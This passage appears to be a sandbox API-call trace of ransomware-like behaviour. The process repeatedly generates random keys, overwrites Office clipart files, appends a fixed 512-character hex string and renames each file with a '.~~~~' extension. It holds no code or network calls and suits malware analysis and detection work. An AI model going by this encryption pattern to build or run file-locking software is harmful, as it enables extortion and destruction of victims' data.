	[0114.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.~~~~")) returned 1
	[0114.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0114.423] GetLastError () returned 0x0
	[0114.561] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0114.562] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.562] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0114.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0114.562] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23455221285) returned 1
	[0114.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xade349d0, dwHighDateTime=0x1d60e1e)) 
	[0114.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0114.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0114.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a100
	[0114.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a100 | out: hHeap=0x300000) returned 1
	[0114.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838300
	[0114.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.563] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0114.563] GetLastError () returned 0x0
	[0114.563] GetLastError () returned 0x0
	[0114.563] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0114.563] GetLastError () returned 0x0
	[0114.563] GetLastError () returned 0x0
	[0114.569] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffdfda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.569] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2026, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x2026, lpOverlapped=0x0) returned 1
	[0114.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0114.571] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.571] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.571] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.571] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.572] CloseHandle (hObject=0x148) returned 1
	[0114.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.572] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.~~~~")) returned 1
	[0114.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.573] GetLastError () returned 0x0
	[0114.574] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0114.575] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.575] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0114.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0114.575] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23456525150) returned 1
	[0114.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xade5ab30, dwHighDateTime=0x1d60e1e)) 
	[0114.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0114.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0114.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a138
	[0114.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a138 | out: hHeap=0x300000) returned 1
	[0114.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837be0
	[0114.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.576] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0114.576] GetLastError () returned 0x0
	[0114.576] GetLastError () returned 0x0
	[0114.576] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0114.576] GetLastError () returned 0x0
	[0114.577] GetLastError () returned 0x0
	[0114.579] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffb08e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.579] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4f72, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x4f72, lpOverlapped=0x0) returned 1
	[0114.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0114.580] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.580] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.580] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.580] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.581] CloseHandle (hObject=0x148) returned 1
	[0114.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.581] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.~~~~")) returned 1
	[0114.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.582] GetLastError () returned 0x0
	[0114.582] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0114.583] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.583] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0114.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0114.584] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23457378386) returned 1
	[0114.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xade5ab30, dwHighDateTime=0x1d60e1e)) 
	[0114.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0114.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0114.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a170
	[0114.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a170 | out: hHeap=0x300000) returned 1
	[0114.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838430
	[0114.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.584] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0114.585] GetLastError () returned 0x0
	[0114.585] GetLastError () returned 0x0
	[0114.585] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0114.585] GetLastError () returned 0x0
	[0114.585] GetLastError () returned 0x0
	[0114.711] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe08c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.711] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1f74, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x1f74, lpOverlapped=0x0) returned 1
	[0114.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0114.713] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.714] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.714] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.714] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.714] CloseHandle (hObject=0x148) returned 1
	[0114.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.715] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.~~~~")) returned 1
	[0114.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.984] GetLastError () returned 0x0
	[0114.986] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0114.987] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.987] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0114.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0114.988] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23497769933) returned 1
	[0114.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae095fd0, dwHighDateTime=0x1d60e1e)) 
	[0114.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0114.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0114.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a448
	[0114.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a448 | out: hHeap=0x300000) returned 1
	[0114.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28384c8
	[0114.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.989] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0114.989] GetLastError () returned 0x0
	[0114.989] GetLastError () returned 0x0
	[0114.989] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0114.989] GetLastError () returned 0x0
	[0114.990] GetLastError () returned 0x0
	[0114.992] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffccf8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.992] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x3308, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x3308, lpOverlapped=0x0) returned 1
	[0114.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0114.995] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.995] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.995] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.995] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.995] CloseHandle (hObject=0x148) returned 1
	[0114.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.995] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.~~~~")) returned 1
	[0114.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.997] GetLastError () returned 0x0
	[0114.998] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0114.999] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.999] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.000] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23499005018) returned 1
	[0115.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae0bc130, dwHighDateTime=0x1d60e1e)) 
	[0115.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a480
	[0115.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a480 | out: hHeap=0x300000) returned 1
	[0115.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0115.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838c80
	[0115.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0115.001] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.001] GetLastError () returned 0x0
	[0115.001] GetLastError () returned 0x0
	[0115.001] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.001] GetLastError () returned 0x0
	[0115.002] GetLastError () returned 0x0
	[0115.008] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffd80c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.008] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x27f4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x27f4, lpOverlapped=0x0) returned 1
	[0115.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.011] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.011] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.011] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
